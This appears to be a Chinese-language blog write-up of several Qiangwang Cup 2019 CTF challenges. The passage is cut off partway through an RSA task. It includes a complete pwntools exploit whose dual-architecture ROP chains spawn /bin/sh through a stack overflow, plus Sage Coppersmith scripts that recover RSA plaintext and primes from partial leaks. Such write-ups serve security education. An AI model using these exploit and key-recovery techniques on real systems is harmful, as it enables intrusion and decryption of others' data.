<content type="html"><![CDATA[<h3 id="babymimic"><a href="#babymimic" class="headerlink" title="babymimic"></a>babymimic</h3><p>拟态防御…惊了</p><p>程序提供了两个EFL文件:</p><p>32位: <a href="https://github.com/Inv0k3r/pwnable_files/raw/master/_stkof">https://github.com/Inv0k3r/pwnable_files/raw/master/_stkof</a></p><p>64位: <a href="https://github.com/Inv0k3r/pwnable_files/raw/master/__stkof">https://github.com/Inv0k3r/pwnable_files/raw/master/__stkof</a></p><p>漏洞点都很明显, 都是简单的栈溢出</p><p>32位:</p><p><img src="/images/强网杯2019/2.png" alt=""></p><p>64位:</p><p><img src="/images/强网杯2019/3.png" alt=""></p><p>检查保护, 虽然开了canary, 但是栈溢出的那个函数并没有check, 猜测应该是出题人手动把check nop了</p><p><img src="/images/强网杯2019/4.png" alt=""></p><p>后续测试中, 发现无法leak任何内容, 猜测服务器对返回的内容进行了检测, 由于程序是静态编译的, 所以我们可以尝试构造ROP链来getshell</p><p><img src="/images/强网杯2019/5.png" alt=""></p><p>这里使用ROPGenerator, 生成ROP chain以后, 溢出到返回地址即可getshell</p><p><img src="/images/强网杯2019/6.png" alt=""></p><p>但是打服务器的时候打不下来, 因为服务器用的拟态防御, 我们无法知道交互的是32位程序还是64位程序</p><p>当然我们可以通过不断运行两个架构的攻击脚本来尝试爆破, 但是服务器设置了爆破限制, 随机8位的字符, 然后sha256加密, 给出5位,我们需要爆破另外3位, 这样就降低了爆破成功的可能性(我爆了一天没成功</p><p>所以我们需要一个payload, 来同时对64和32进行攻击</p><p>经过分析可知, 32位程序的返回地址偏移是272, 而64位是280</p><p>所以我们可以利用中间这8个字节, 来判断服务器是32位还是64位</p><p>32位程序使用4字节作为一个地址, 所以8字节可以让我们写两条gadget</p><p>由于无法leak任何地址(带出来数据就会触发服务器的check导致连接关闭), 所以我们不知道栈地址, 没法直接跳转</p><p>所以我们可以通过修改栈顶指针寄存器, 来让程序跳转到栈上的另外一个位置</p><p>尝试找一下gadget:</p><p><img src="/images/强网杯2019/7.png" alt=""></p><p>可以写add esp 0xc进去, 那么栈顶将被修改到当前栈地址+ 0xc</p><p>这样一来, 针对32位程序的payload可以写成:</p><pre><code>payload = 272 * 'a' + p32(add_esp_0xc) + 0xc* 'a' + ROP链</code></pre><p>其中的0x10字节, 我们可以用来写64位程序的ROP链</p><p>我们用ROPGenerator生成的ROP chain:</p><p>32位:</p><p><img src="/images/强网杯2019/8.png" alt=""></p><p>64位:</p><p><img src="/images/强网杯2019/9.png" alt=""></p><p>生成的rop链中, 32位的长度为92字节, 64位的长度为112字节</p><p>而我们的payload</p><p><code>payload = 272 * 'a' + p32(add_esp_0xc) + 0xc * 'a' + 32位ROP链</code>中, 有8字节可用, 所以我们可以写一个<code>add rsp 0x??; ret</code>的方式来进行跳转, 跳到32位ROP链之后, 找一下64位程序的gadget:</p><p><img src="/images/强网杯2019/10.png" alt=""></p><p>各种长度都有,很舒服</p><p>我们32位程序的ROP链, 长度是92字节, 所以我们的64位程序跳转的时候要留给32位ROP链足够空间</p><p>这里选择0x68这个gadget</p><p>那么<code>payload=272 * 'a' + p32(add_esp_0xc) + 'b' * 4 + p64(add_rsp_0x68) + 92字节的32位程序的ROP + 112字节的64位程序的ROP</code></p><p>后续测试发现ROPGenerator生成的32位ROP链无法getshell…最后换了ROPgadget生成:</p><pre><code>ROPgadget --binary "_stkof" --ropchain</code></pre><p><img src="/images/强网杯2019/11.png" alt=""></p><p>长度是136字节, 所以对上面payload进行修改, 64位的gadget需要跳到更远, 所以选择了0xd8这个gadget:</p><pre><code>payload=272*'a' + p32(add_esp_0xc) + 'b' * 4 + p64(add_rsp_0xd8) + 136字节的32位程序的ROP + (0xd8 - 136) * 'c' + 112字节的64位程序的ROP</code></pre><p>成功getshell:</p><p><img src="/images/强网杯2019/12.png" alt=""></p><p>最终脚本:</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="comment"># context.log_level = 'debug'</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">check</span><span class="params">(hash, string)</span>:</span></span><br><span class="line"> dic = <span class="string">'1234567890abcdef'</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> dic:</span><br><span class="line"> <span class="keyword">for</span> j <span class="keyword">in</span> dic:</span><br><span class="line"> <span class="keyword">for</span> k <span class="keyword">in</span> dic:</span><br><span class="line"> <span class="keyword">for</span> l <span class="keyword">in</span> dic:</span><br><span class="line"> <span class="keyword">for</span> m <span class="keyword">in</span> dic:</span><br><span class="line"> <span class="keyword">for</span> n <span class="keyword">in</span> dic:</span><br><span class="line"> temp = string + i + j + k + l + m + n</span><br><span class="line"> <span class="keyword">if</span> hash == hashlib.sha256(temp.decode(<span class="string">'hex'</span>)).hexdigest():</span><br><span class="line"> info(<span class="string">"Found: "</span> + temp)</span><br><span class="line"> <span class="keyword">return</span> temp</span><br><span class="line"></span><br><span class="line">r = remote(<span class="string">'49.4.51.149'</span>, <span class="number">25391</span>)</span><br><span class="line">r.recvuntil(<span class="string">'hexdigest()='</span>)</span><br><span class="line">hexstr = r.recv(<span class="number">64</span>)</span><br><span class="line">r.recvuntil(<span class="string">"encode('hex')="</span>)</span><br><span class="line">s = r.recv(<span class="number">10</span>)</span><br><span class="line">info(<span class="string">"hash: "</span> + hexstr)</span><br><span class="line">info(<span class="string">"skr: "</span> + s)</span><br><span class="line">r.sendlineafter(<span class="string">"skr.encode('hex')="</span>, check(hexstr, s))</span><br><span class="line">r.sendlineafter(<span class="string">'teamtoken:'</span>, <span class="string">'068c639545a4febbcbcb8c97b494cc21'</span>)</span><br><span class="line">r.recvuntil(<span class="string">'your flag file --> '</span>)</span><br><span class="line">flag_file_name = r.recv(<span class="number">37</span>)</span><br><span class="line">info(<span class="string">"flag file: "</span> + flag_file_name)</span><br><span class="line"></span><br><span class="line"><span class="comment"># start pwn</span></span><br><span class="line">off = <span class="number">0x0</span></span><br><span class="line">rop64 = <span class="string">''</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x000000000043b97c</span> + off) <span class="comment"># pop rax; ret</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x000000000069e138</span> + off) <span class="comment"># Constant: 0x69e138</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x000000000043d9d5</span> + off) <span class="comment"># pop rdx; ret</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x0068732f6e69622f</span>) <span class="comment"># Constant: 0x68732f6e69622f</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x000000000043dbc4</span> + off) <span class="comment"># mov qword ptr [rax+0x8], rdx; ret</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x00000000004005f6</span> + off) <span class="comment"># pop rdi; ret</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x000000000069e140</span> + off) <span class="comment"># cmd: '/bin/sh\x00'</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x0000000000405895</span> + off) <span class="comment"># pop rsi; ret</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x0000000000000000</span>) <span class="comment"># argv: 0x0</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x000000000043b97c</span> + off) <span class="comment"># pop rax; ret</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x0000000000497d37</span> + off) <span class="comment"># Address of ret</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x000000000040dc33</span> + off) <span class="comment"># xor edx, edx; jmp rax</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x000000000043b97c</span> + off) <span class="comment"># pop rax; ret</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x000000000000003b</span>) <span class="comment"># Constant: 0x3b</span></span><br><span class="line">rop64 += pack(<span class="string">'<Q'</span>, <span class="number">0x00000000004011dc</span> + off) <span class="comment"># syscall</span></span><br><span class="line"></span><br><span class="line">rop32 = <span class="string">''</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0806e9cb</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080d9060</span>) <span class="comment"># @ .data</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080a8af6</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">rop32 += <span class="string">'/bin'</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x08056a85</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0806e9cb</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080d9064</span>) <span class="comment"># @ .data + 4</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080a8af6</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">rop32 += <span class="string">'//sh'</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x08056a85</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0806e9cb</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080d9068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x08056040</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x08056a85</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080481c9</span>) <span class="comment"># pop ebx ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080d9060</span>) <span class="comment"># @ .data</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0806e9f2</span>) <span class="comment"># pop ecx ; pop ebx ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080d9068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080d9060</span>) <span class="comment"># padding without overwrite ebx</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0806e9cb</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080d9068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x08056040</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x0807be5a</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">rop32 += pack(<span class="string">'<I'</span>, <span class="number">0x080495a3</span>) <span class="comment"># int 0x80</span></span><br><span class="line"></span><br><span class="line">add_esp_0xc = <span class="number">0x080a8f69</span> <span class="comment"># : add esp, 0xc ; ret</span></span><br><span class="line">add_rsp_0xd8 = <span class="number">0x00000000004079d4</span> <span class="comment"># : add rsp, 0xd8 ; ret</span></span><br><span class="line">r.recv()</span><br><span class="line">payload = <span class="string">'a'</span> * <span class="number">272</span> + p32(add_esp_0xc) + <span class="string">'b'</span> * <span class="number">4</span> + p64(add_rsp_0xd8) + rop32 + (<span class="number">0xd8</span> - len(rop32)) * <span class="string">'c'</span> + rop64</span><br><span class="line">r.send(payload)</span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><h3 id="justre"><a href="#justre" class="headerlink" title="justre"></a>justre</h3><p>定位到check函数, 发现很多xmm指令…</p><p>调试一下看看结果</p><p>前面的部分是确定输入是否在0-9A-F之间, 并把前8个字符转成16进制形式, 第九个字符存入一个变量</p><p>输入1A2B3C4D5F6A7B8C9D0E</p><p>xmmword_405018 + 0x10 = (0x10 + 0x1A2B3C4D) ^ (0x1010101 * 0x5F + xmmword_405018 + v20)</p><p>上面的操作, 经过8轮运算以后, 和96字节的字符比较:</p><pre><code>55 8B EC 83 E4 F0 81 EC 78 02 00 00 A1 04 50 40 00 33 C4 89 84 24 74 02 00 00 0F 10 05 A8 41 40 00 A0 C0 41 40 00 56 0F 11 44 24 2C 57 F3 0F 7E 05 B8 41 40 00 66 0F D6 44 24 40 0F 10 41 0A 6A 40 88 44 24 4C 8D 84 24 FC 01 00 00 6A 00 50 0F 11 44 24 1C E8 58 0F 00 00 6A 40 8D 84 24 48 02 </code></pre><p>xmmword_405018 = 416214C801120DF0ED93C08B7EB6971B<br>xmmword_405028 = 41537868F119106CFF3DF4E788CDFF6A<br>xmmword_405038 = 5B19BFC22CEE54810A6010AF40D2706E<br>xmmword_405048 = 671C51850A51F4B0B31932734153886F</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> Dword</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">100</span>):</span><br><span class="line"> b = i * <span class="number">0x1010101</span></span><br><span class="line"> <span class="keyword">if</span> Dword(<span class="number">0x404148</span>) ^ ((Dowrd(<span class="number">0x405018</span>) + b) & <span class="number">0xffffffff</span>) == Dowrd(<span class="number">0x404148</span> + <span class="number">4</span>) ^ ((Dowrd(<span class="number">0x405018</span> + <span class="number">4</span>) + b) & <span class="number">0xffffffff</span>) - <span class="number">1</span>:</span><br><span class="line"> print(hex(i), hex(Dowrd(<span class="number">0x404148</span>) ^ ((Dowrd(<span class="number">0x405018</span>) + b) & <span class="number">0xffffffff</span>)))</span><br></pre></td></tr></table></figure><p>得到: <code>0x10 0x13242298</code></p><p>接下来是DES加密</p><h3 id="crypto"><a href="#crypto" class="headerlink" title="crypto"></a>crypto</h3><pre><code>[++++++++++++++++]proof completed[++++++++++++++++][+]Generating challenge 1[+]n=0x381c2a94ae89869e563b600b4b9cce988197a565e027fd923bee484664d33f1a10037857ce9e0c49422470536cef963e540ab1bffbd6fe3dfda54ac04fae790c99568fe064a77d57ea17609f45d5d0f984bd4235f54b4c8b069ceac1220e743e0fcd420a5302eda89dc58497e94a01281849c0134c88d543adda2d423c3af7fL[+]e=3[+]m=random.getrandbits(512)[+]c=pow(m,e,n)=0x1da185826272d2d806f3b8e036fbe2b27320defe9892175f9e18a60c39348fa2b631d386edeb98f37f18e8059360e827cea76363a3e1aaae46aef40ac0c6621576e41ab644c704a9c662c998618c7d48e17542001142d768fce50d778c3555fd3d795a7b23d72c65f6a96fd4e1e438bcca7dc963adf0baf3b135de994662b82L[+]((m>>72)<<72)=0xfabc61918e517c9bf73b2bf5d91f30a80c19de72a995e1c47de8f9be1bb4006b6dd10a11adb95ce73613e6236aa4e91db6d5c8f07dac16000000000000000000L[-]long_to_bytes(m).encode('hex')=</code></pre><p>e = 3, 给了部分明文, 使用CoppersmithAttack</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line">n=<span class="number">0x381c2a94ae89869e563b600b4b9cce988197a565e027fd923bee484664d33f1a10037857ce9e0c49422470536cef963e540ab1bffbd6fe3dfda54ac04fae790c99568fe064a77d57ea17609f45d5d0f984bd4235f54b4c8b069ceac1220e743e0fcd420a5302eda89dc58497e94a01281849c0134c88d543adda2d423c3af7f</span></span><br><span class="line">e=<span class="number">3</span></span><br><span class="line">c=<span class="number">0x1da185826272d2d806f3b8e036fbe2b27320defe9892175f9e18a60c39348fa2b631d386edeb98f37f18e8059360e827cea76363a3e1aaae46aef40ac0c6621576e41ab644c704a9c662c998618c7d48e17542001142d768fce50d778c3555fd3d795a7b23d72c65f6a96fd4e1e438bcca7dc963adf0baf3b135de994662b82</span></span><br><span class="line">m=<span class="number">0xfabc61918e517c9bf73b2bf5d91f30a80c19de72a995e1c47de8f9be1bb4006b6dd10a11adb95ce73613e6236aa4e91db6d5c8f07dac16000000000000000000</span></span><br><span class="line"></span><br><span class="line">beta = <span class="number">1</span></span><br><span class="line">epsilon = beta^<span class="number">2</span>/<span class="number">7</span></span><br><span class="line"></span><br><span class="line">nbits = n.nbits()</span><br><span class="line">kbits = floor(nbits*(beta^<span class="number">2</span>/e-epsilon))</span><br><span class="line"><span class="keyword">print</span> <span class="string">"upper %d bits (of %d bits) is given"</span> % (nbits-kbits, nbits)</span><br><span class="line">PR.<x> = PolynomialRing(Zmod(n))</span><br><span class="line">f = (m + x) ^ e - c</span><br><span class="line">x0 = f.small_roots(X=<span class="number">2</span>^kbits, beta=<span class="number">1</span>)[<span class="number">0</span>] <span class="comment"># find root < 2^kbits with factor = n</span></span><br><span class="line"><span class="keyword">print</span> m + x0</span><br><span class="line"><span class="keyword">print</span> x0</span><br></pre></td></tr></table></figure><p>丢到在线网站: <code>https://sagecell.sagemath.org/</code><br>得到<code>13132102744876364837010657674093125827216092673699264307134817022461255433729251935499820467653979827420832582244375851850135494237158389876362816492294802</code><br>转hex提交</p><pre><code>[++++++++++++++++]challenge 1 completed[++++++++++++++++][+]Generating challenge 2[+]n=0x62645f7122276f971d8be2c280c50af2a4d24f64c66d887a63412eca8318139b63d3a208bea26c760f9da2a4a5532193120ef2741863e506ef56f972afbf88072de0626af4a7f119342e524c3467f2a0b593127646a08dd9edeb94772d844847a0e4adbba021ff157a1c41393840d32966ca4b425be64c5cd7be71f15f1c0c0fL[+]e=65537[+]m=random.getrandbits(512)[+]c=pow(m,e,n)=0x2ea82d02c8405c04606f471756806a9d17cd0d9bedc636f7d884244745e086dbef806e4cfa440780f93abb33d5d295227df4cca71783f6693a6ea7c7775188f8cd814fadaec1a67087e5b6e1d3f51985243f057f667c663f59fbf638ea745b7aa6f57deff8da242b18086c2e8dba028613f01d100269d3342f0094e9c91eddL[+]((p>>128)<<128)=0xa19bcc2975554445de9f02e634661d4f6a665336a0af5c6a6f93758a8d23dfec8b258004a431974f371132c3ca7696ef00000000000000000000000000000000L[-]long_to_bytes(m).encode('hex')=$</code></pre><figure class="highlight py"><table><tr><td class="code"><pre><span class="line">n=<span class="number">0x62645f7122276f971d8be2c280c50af2a4d24f64c66d887a63412eca8318139b63d3a208bea26c760f9da2a4a5532193120ef2741863e506ef56f972afbf88072de0626af4a7f119342e524c3467f2a0b593127646a08dd9edeb94772d844847a0e4adbba021ff157a1c41393840d32966ca4b425be64c5cd7be71f15f1c0c0f</span></span><br><span class="line">p=<span class="number">0xa19bcc2975554445de9f02e634661d4f6a665336a0af5c6a6f93758a8d23dfec8b258004a431974f371132c3ca7696ef00000000000000000000000000000000</span></span><br><span class="line">c=<span class="number">0x2ea82d02c8405c04606f471756806a9d17cd0d9bedc636f7d884244745e086dbef806e4cfa440780f93abb33d5d295227df4cca71783f6693a6ea7c7775188f8cd814fadaec1a67087e5b6e1d3f51985243f057f667c663f59fbf638ea745b7aa6f57deff8da242b18086c2e8dba028613f01d100269d3342f0094e9c91edd</span></span><br><span class="line">beta = <span class="number">0.5</span></span><br><span class="line">epsilon = beta^<span class="number">2</span>/<span class="number">7</span></span><br><span class="line">p_fake = p + <span class="number">0x100000000000000000000000000000000</span></span><br><span class="line">pbits = p.nbits()</span><br><span class="line">kbits = floor(n.nbits() * (beta^<span class="number">2</span> - epsilon))</span><br><span class="line">pbar = p_fake & (<span class="number">2</span>^pbits<span class="number">-2</span>^kbits)</span><br><span class="line"><span class="keyword">print</span> <span class="string">"upper %d bits (of %d bits) is given"</span> % (pbits-kbits, pbits)</span><br><span class="line">PR.<x> = PolynomialRing(Zmod(n))</span><br><span class="line">f = x + pbar</span><br><span class="line">x0 = f.small_roots(X=<span class="number">2</span>^kbits, beta=<span class="number">0.4</span>)[<span class="number">0</span>] <span class="comment"># find root < 2^kbits with factor >= n^0.4</span></span><br><span class="line"><span class="keyword">print</span> x0 + pbar</span><br></pre></td></tr></table></figure><p>求得p=8464128337073235841306774067889692521235027856600640285732672852346488815451647340168593969676910111879627488847926492818393003168975897246870844426887263<br>q=n/p=8163069655763991394338137148931618671791210480216681019589422494491872929647892079092083346702116373697540683755495323751341124306366881478618522649358929</p><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">egcd</span><span class="params">(a, b)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> a == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">return</span> (b, <span class="number">0</span>, <span class="number">1</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> g, y, x = egcd(b % a, a)</span><br><span class="line"> <span class="keyword">return</span> (g, x - (b // a) * y, y)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">modinv</span><span class="params">(a, m)</span>:</span></span><br><span class="line"> g, x, y = egcd(a, m)</span><br><span class="line"> <span class="keyword">if</span> g != <span class="number">1</span>:</span><br><span class="line"> <span class="keyword">raise</span> Exception(<span class="string">'modular inverse does not exist'</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">return</span> x % m</span><br></pre></td></tr></table></figure><p>d=modinv(e,(p-1)*(q-1))</p><p>求得d解密</p><p><code>d0579143a455d3b10f0c0e69ce45f26e4b39207ef640afc1bc89a3dd2797fd11990efeeeb3c9beb8780ab9e201c89aca59a82dc82d22a6832f8e12b9ae451612</code></p><pre><code>[++++++++++++++++]challenge 2 completed[++++++++++++++++][+]Generating challenge 3[+]n=0x7792e8692d355b543bd466603bf0d63e9f80c178695c5fdf8781a7718422f3df04de72ad0d8758274108d6e5b9fae9fe548c218589da15e5bcdd3c4d64d881e0ee1437a5280b16d127b85773ee4b662d8c032ccf08bb9cd270cc03e12b8884bc22439ef833cbaffc629f1e5022fd200eb7ae459104b19efa8a1d7dfe5fcb52cdL[+]e=3[+]m=random.getrandbits(512)[+]c=pow(m,e,n)=0x72920d5cc7aef95112d4800535f2e479a10d4901af657ff06dbc105ef4e9a7bec7fb86e3af7ea3e393d919ba21464f90af9781acad2c2ca8041282c7a0e03267fe62ddf57d7ace68a7f55f8aa1e45f312ea9a1cbbb5cc1a4172aec0ef12b3c853a915573864545ce9c03cb8b50bc1cb241a6221495a9d78e472afda50d9b2174L[+]d=invmod(e,(p-1)*(q-1))[+]d&((1<<512)-1)=0xb51c0c25d4b249e9a2c8d3daf342136c05e3c2ab32fea94033e4cb01d553ac0770c32884556eee08d3a61cde383c2caa7ea68fb7367f88a0312e948c4c4ac293L[-]long_to_bytes(m).encode('hex')=$ </code></pre><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">partial_p</span><span class="params">(p0, kbits, n)</span>:</span></span><br><span class="line"> PR.<x> = PolynomialRing(Zmod(n))</span><br><span class="line"> nbits = n.nbits()</span><br><span class="line"></span><br><span class="line"> f = <span class="number">2</span>^kbits*x + p0</span><br><span class="line"> f = f.monic()</span><br><span class="line"> roots = f.small_roots(X=<span class="number">2</span>^(nbits//<span class="number">2</span>-kbits), beta=<span class="number">0.3</span>) <span class="comment"># find root < 2^(nbits//2-kbits) with factor >= n^0.3</span></span><br><span class="line"> <span class="keyword">if</span> roots:</span><br><span class="line"> x0 = roots[<span class="number">0</span>]</span><br><span class="line"> p = gcd(<span class="number">2</span>^kbits*x0 + p0, n)</span><br><span class="line"> <span class="keyword">return</span> ZZ(p)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">find_p</span><span class="params">(d0, kbits, e, n)</span>:</span></span><br><span class="line"> X = var(<span class="string">'X'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> k <span class="keyword">in</span> xrange(<span class="number">1</span>, e+<span class="number">1</span>):</span><br><span class="line"> results = solve_mod([e*d0*X - k*X*(n-X+<span class="number">1</span>) + k*n == X], <span class="number">2</span>^kbits)</span><br><span class="line"> <span class="keyword">for</span> x <span class="keyword">in</span> results:</span><br><span class="line"> p0 = ZZ(x[<span class="number">0</span>])</span><br><span class="line"> p = partial_p(p0, kbits, n)</span><br><span class="line"> <span class="keyword">if</span> p:</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"Found"</span></span><br><span class="line"> <span class="keyword">return</span> p</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"FAILED"</span></span><br><span class="line"> <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> n=<span class="number">0x7792e8692d355b543bd466603bf0d63e9f80c178695c5fdf8781a7718422f3df04de72ad0d8758274108d6e5b9fae9fe548c218589da15e5bcdd3c4d64d881e0ee1437a5280b16d127b85773ee4b662d8c032ccf08bb9cd270cc03e12b8884bc22439ef833cbaffc629f1e5022fd200eb7ae459104b19efa8a1d7dfe5fcb52cd</span></span><br><span class="line"> e = <span class="number">3</span></span><br><span class="line"> d=<span class="number">0xb51c0c25d4b249e9a2c8d3daf342136c05e3c2ab32fea94033e4cb01d553ac0770c32884556eee08d3a61cde383c2caa7ea68fb7367f88a0312e948c4c4ac293</span></span><br><span class="line"> beta = <span class="number">0.5</span></span><br><span class="line"> epsilon = beta^<span class="number">2</span>/<span class="number">7</span></span><br><span class="line"></span><br><span class="line"> nbits = n.nbits()</span><br><span class="line"> kbits = floor(nbits*(beta^<span class="number">2</span>+epsilon))</span><br><span class="line"> d0 = d & (<span class="number">2</span>^kbits<span class="number">-1</span>)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"lower %d bits (of %d bits) is given"</span> % (kbits, nbits)</span><br><span class="line"></span><br><span class="line"> p = find_p(d0, kbits, e, n)</span><br><span class="line"> <span class="keyword">print</span> <span class="string">"found p: %d"</span> % p</span><br><span class="line"> q = n//p</span><br><span class="line"> <span class="keyword">print</span> d</span><br><span class="line"> <span class="keyword">print</span> inverse_mod(e, (p<span class="number">-1</span>)*(q<span class="number">-1</span>))</span><br></pre></td></tr></table></figure><p>后面不会了, 鸽了</p><hr><p>贴一个Chamd5的wp: <a href="https://mp.weixin.qq.com/s/Rcm4qaELX0wl8IULApujuw">https://mp.weixin.qq.com/s/Rcm4qaELX0wl8IULApujuw</a></p><h3 id="签到"><a href="#签到" class="headerlink" title="签到"></a>签到</h3><p>flag{welcome_to_qwb_2019}</p><h3 id="鲲or鳗orGame"><a href="#鲲or鳗orGame" class="headerlink" title="鲲or鳗orGame"></a>鲲or鳗orGame</h3><p>选游戏, js里找到<code>var romPath = "rom/game.gb";</code></p><p>下载下来, 用GameBoy模拟器打开, 金手指启动, 把最高纪录改到<code>0xff</code>即可得到flag:</p><p><img src="/images/强网杯2019/1.png" alt=""></p><p>flag{PS03R49UE576R421RE8}</p><h3 id="强网先锋-AD"><a href="#强网先锋-AD" class="headerlink" title="强网先锋-AD"></a>强网先锋-AD</h3><p>IDA反编译以后可以看到程序读入了一段字节</p><p>动态调试一下, 在内存里dump出来:<br> 0072| 0x7fffffffdc28 —> 0x7fffffffdc60 (“ZmxhZ3ttYWZha3VhaWxhaXFpYW5kYW9ifQ==”)</p><p>解base64即可:<code>flag{mafakuailaiqiandaob}</code></p><h3 id="强网先锋-辅助"><a href="#强网先锋-辅助" class="headerlink" title="强网先锋-辅助"></a>强网先锋-辅助</h3><p>给了两组rsa:</p><pre><code>c1 = 2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597e = 65537n1 = 